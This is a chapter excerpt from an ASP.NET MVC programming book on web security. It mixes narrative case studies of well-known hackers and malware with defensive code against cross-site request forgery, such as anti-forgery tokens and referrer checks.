Chapter 9 - Securing Your Application -- Professional ASP.NET MVC 1.0

Case Study: The Relentless Mischief of Kevin Poulsen

Kevin Poulsen has attained god status in the world of digital crimes. He started working with computers at a very young age and was quickly recognized as a teenage computer prodigy. During his twenties, Kevin "fell to the dark side," assuming the identity "Dark Dante," while terrorizing the local phone company, Pacific Bell.

Kevin was patient and driven, reportedly staying up for days at a time, learning everything he could about a system and its vulnerabilities. During the late 1980s, Kevin managed to completely map out the switching systems of Pacific Bell and commanded nearly all of the communication company's internal servers and network. The remarkable thing about this, however, is that Pacific Bell never knew of his presence.

On June 1, 1990, Kevin made his infiltration pay off . KIIS FM held a contest, wherein they were going to give away a brand new Porsche 944, valued at over $50,000, to the 102^nd caller after a series of three songs was played. Kevin and his friends listened all day long and shortly after noon, the three songs were played, which sent Kevin and his friends into action.

Kevin was logged in to Pacific Bell's switching network, and he quickly disabled all the switches serving KIIS FM, except for those routing his and his friend's home phones. They picked up their phones and started to call. No one else, anywhere in the world, could make it through to KIIS FM, save for Kevin and friends, and they quickly racked up 101 calls in about 30 minutes. Kevin placed the 102^nd call — winning the Porsche, while simultaneously resetting Pacific Bell's switching system back to its original state.

Kevin perpetrated various other crimes that quickly caught the attention of the federal authorities, and he soon was on the run. Earlier in his life, the government had been on to him as well, but instead of throwing him in jail, they decided to put the scorpion on their backs and hired him to make their systems more secure.

He worked diligently to make Pentagon systems more secure as well as those of other agencies, but, when he was off work, he would continue his life as Dark Dante. No one knows for sure, but it's been suggested that Kevin left himself a vast network of back doors and security holes in the government systems that he worked on. It has never been proven that he did this, but many people wonder how Kevin was able to remain a fugitive from the FBI for over 17 months — only to be caught with the help of the TV show America's Most Wanted.

Kevin is indicative of the curious genius that lit the fire of geek hackers in the 1970s and 1980s. His exploits may seem tame — consisting of little else than mischief and small-scale information crimes — but that may be only a function of the times.

One can only imagine what Kevin would have been capable of had he flexed his criminal genius today. It's safe to say that he would, most likely, have been a lot more low profile than to jam the phone lines to a radio station so that he could win a Porsche, and it's a safe bet that money would have been at the top of his mind.

If Kevin were prowling the Internet these days, you probably wouldn't have much to fear from him directly — in other words, he probably wouldn't be hacking your server to steal your code, for instance. If you were Kevin — if you had his phr34k sk1llz — what would you want from an online application? The answer is: something that will pay, with the least chance of getting caught. Usually, this comes in the form of user data: e-mail addresses and passwords, credit card numbers, and other sensitive information that your users trust you with.

The stealing of information is silent, and you most likely will never know that someone is (perhaps routinely) stealing your site's information — they don't want you to know. With that, you're at a disadvantage.

Information theft has supplanted curiosity as the motivator for hackers, crackers, and phreaks on the Web. It's big business.

Case Study: Ph34rs0m Sk1llz: DEFCON Capture the Flag

DEFCON is the world's largest hacker convention (yes, they have such things) and is held annually in Las Vegas. The audience is mainly computer security types (consultants, journalists, etc.), law enforcement (FBI, CIA, etc., who do not need to identify themselves), and coders who consider themselves to be on the fringe of computing.

A lot of business is done at the convention, as you can imagine, but there are also the obligatory "feats of technical strength" for the press to write about. One of these is called "Capture the Flag," which is also a popular video game format, coincidently. The goal of Capture the Flag (or "CTF") is for hacker teams to successfully compromise a set of specially configured servers. These aren't your typical servers — they are set up specifically to defend against such attacks and are configured specially for CTF by a world-renowned security specialist.

The servers (usually 12 or so) are set up with specific "vulnerabilities":

• A web server

• A text-based messaging system

• A network-based optical character recognition system

The teams are unaware of what each server is equipped with when the competition begins.

The scoring is simple: one point is awarded for penetrating the security of a server. Penetrate them all, and you win. If a team doesn't win, the contest is called at the end of 48 hours, and the team with the most points takes the crown. Variations on the game include penetrating a server and then resetting its defenses in order to "secure it" against other teams. The team who holds the most servers at the end of the competition wins.

The teams that win the game state that discipline and patience are what ultimately makes the difference. Hacking the specially configured servers is not easy and usually involves coordinating attacks along multiple fronts, such as coaxing the web server to give up sensitive information, which can then be used in other systems on the server. The game is focused on knowing what to look for in each system, but the rules are wide open, and cheating is quite often encouraged, which usually takes the form of more a personal style of intrusion: social engineering.

Case Study: Deception and Hacking into the Server Room

At one DEFCON CTF, the reigning champion "Ghettohackers" were once again on their way to a winning in a variation of the CTF format called "Root fu." In this format, you "root" your competition by placing a file called "flag.txt" in their "flag room" — usually their C drive or on a server somewhere in the game facility. You can gain points by rooting the main server (and winning) or by rooting your competition.

During this competition, one of the Ghettohackers team members smuggled in an orange hardhat with a reflective vest, and put it on with an electrician's utility belt. He then stood outside the server room (where the event was held) and waited for hotel staff to walk by. When a staff person eventually came by, the hacker impatiently asked if they were there to let him in and said that he was on a schedule and needed to get to a call upstairs.

Eventually he was let in by the hotel staff, and, looking at the diagram on the wall, he quickly figured out which machine was the "main box" — the server holding the main flag room. He pulled out his laptop and plugged it into the machine, quickly hacking his way onto the machine to win the game.

It doesn't take much to deceive people who like to help others — you just need to be evil — and give them a reason to trust you — and you're in.

Case Study: Social Engineering and Kevin Mitnick

Kevin Mitnick is widely regarded as the most prolific and dangerous hacker in U.S. history. Through various ruses, hacks, and scams he found his way into the networks of top communication companies as well as Department of Defense computer systems. He managed to steal a lot of very expensive code by using simple social engineering tricks, such as posing as a company employee or flat out asking employees for his lost password over the phone.

His plan was simple — take advantage of two basic laws about people:

• We want to be nice and help others.

• We usually leave responsibility to someone else.

In an interview with CNET, Kevin stated it rather bluntly:

"[Hackers] use the same methods they always have — using a ruse to deceive, influence or trick people into revealing information that benefits the attackers. These attacks are initiated, and in a lot of cases, the victim doesn't realize [it]. Social engineering plays a large part in the propagation of spyware. Usually, attacks are blended, exploiting technological vulnerabilities and social engineering."

Social engineering does not necessarily mean that someone is going to come up to you with a fake moustache and an odd-looking uniform, asking for access to your server. It could come in the form of a fake request from your ISP, asking you to log in to your server's web control panel to change a password. It may also be someone who befriends you online — perhaps wanting to help with a side project you're working on. The key to a good hack is patience, and often it only takes weeks to feel like you "know" someone. Eventually, they may come to know a lot about you and, more hazardously, about your clients and their sensitive information.

The Storm Worm

In September of 2007, the FBI declared that the Storm botnet was both sophisticated and powerful enough to force entire countries offline. Some have argued, however, that trying to compute the raw power of these botnets is missing the point, and some have suggested the comparison is like comparing "an army of snipers to a the power of a nuclear bomb."

The Storm network has propagated, once again, largely due to social engineering and provocative e-mailing, which entices users to click on a link that navigates them to an infected web site (which could be yours!). To stay hidden, the servers that deliver the virus re-encode the binary file so that a "signature" changes, which defeats the antivirus and malware programs running on most machines.

These servers are also able to avoid detection, as they can rapidly change their DNS entries — sometimes minutes apart, making these servers almost untraceable.

The Srizbi Trojan

Srizbi is pure evil, and you've likely visited a web site that has tried to load it onto your computer. It is propagated using "MPack," a commercially available malware kit written in PHP. That's right, you can purchase software with the sole purpose of spreading viruses. In addition to that, you can ask the developers of MPack to help you make your code undetectable by various antivirus and malware services.

MPack is implemented using an iFrame, which embeds itself on a page (out of site) and calls back to a main server, which loads scripts into the user's browser. These scripts detect which type of browser the user is running and what vulnerabilities the scripts can exploit. It's up to the malware creator to read this information and plant his or her evil on your computer.

Because MPack works in an iFrame, it is particularly effective against sites that don't defend very well against XSS. An attacker can plant the required XSS code on an innocent web site (like yours!) and, thus, create a propagation point, which then infects thousand of other users.

The worm itself has been analyzed by security experts worldwide, and most agree that the elegance and efficiency of the code is genius. For its size, the application packs a massive punch and is capable of a vast array of functionality, including sending e-mails, seeking out and downloading instructions, hiding from every known antivirus program, and performing various feats of system trickery.

Srizbi runs in kernel mode (capable of running with complete freedom at the core operating system level, usually unchecked and unhindered) and will actually take command of the operating system, effectively pulling a "Jedi mind trick" by telling the machine that it's not really there. One of these tricks is to actually alter the NTFS file system drivers, making itself completely unrecognizable as a file and rendering itself invisible. In addition to this, Srizbi is also able to manipulate the infected system's TCP/IP instructions, attaching directly to the drivers and manipulating them so that firewalls and network sniffers will not see it. Very evil.

The hallmark of Srizbi is its silence and stealth. All of the estimates for infection that we've suggested here are just that — estimates. No one knows the real numbers of infected machines.

Token Verification

ASP.NET MVC includes a nice way of preventing CSRF attacks, and it works on the principle of verifying that the user who submitted the data to your site did so willingly. The simplest way to do this is to embed a hidden input into each form request that contains a unique value. You can do this with the HTML Helpers by including this in every form:

<form action="/account/register" method=" post"><%=Html.AntiForgeryToken()%>…</form>

Html.AntiForgeryToken will output an encrypted value as a hidden input:

<input type=" hidden" value="012837udny31w90hjhf7u">

This value will match another value that is stored as a session cookie in the user's browser. When the form is posted, these values will be matched using an ActionFilter:

[ValidateAntiforgeryToken]public ActionResult Register(…)

This will handle most CSRF attacks — but not all of them. In the last example above, you saw how users can be registered automatically to your site. The anti-forgery token approach will take out most CSRF-based attacks on your Register method, but it won't stop the "bots" out there that seek to auto-register (and then spam) users to your site. We'll talk about ways to limit this kind of thing later in the chapter.

GETs Don't Change Stuff

Bad grammar for sure — but, in general, a good rule of thumb is that you can prevent a whole class of CSRF attacks by only "changing" things in your DB or on your site by using POST. This means Registration, Logout, Login, and so forth. At the very least, this limits the confused deputy attacks somewhat.

HttpReferrer Validation

This can be handled using an ActionFilter (see Chapter 8), wherein you check to see if the client that posted the form values was indeed your site:

public class IsPostedFromThisSiteAttribute : AuthorizeAttribute{    public override void OnAuthorize(AuthorizationContext filterContext)    {        if (filterContext.HttpContext != null)        {           if (filterContext.HttpContext.Request.UrlReferrer == null)              throw new System.Web.HttpException("Invalid submission");           if (filterContext.HttpContext.Request.UrlReferrer.Host != "mysite.com")              throw new System.Web.HttpException ("This form wasn't submittedfromthis site!");        }    }}

You can then use this filter on the Register method, like so:

[IsPostedFromThisSite]public ActionResult Register(…)

As you can see there are different ways of handling this — which is the point of MVC. It's up to you to know what the alternatives are and to pick one that works for you and your site.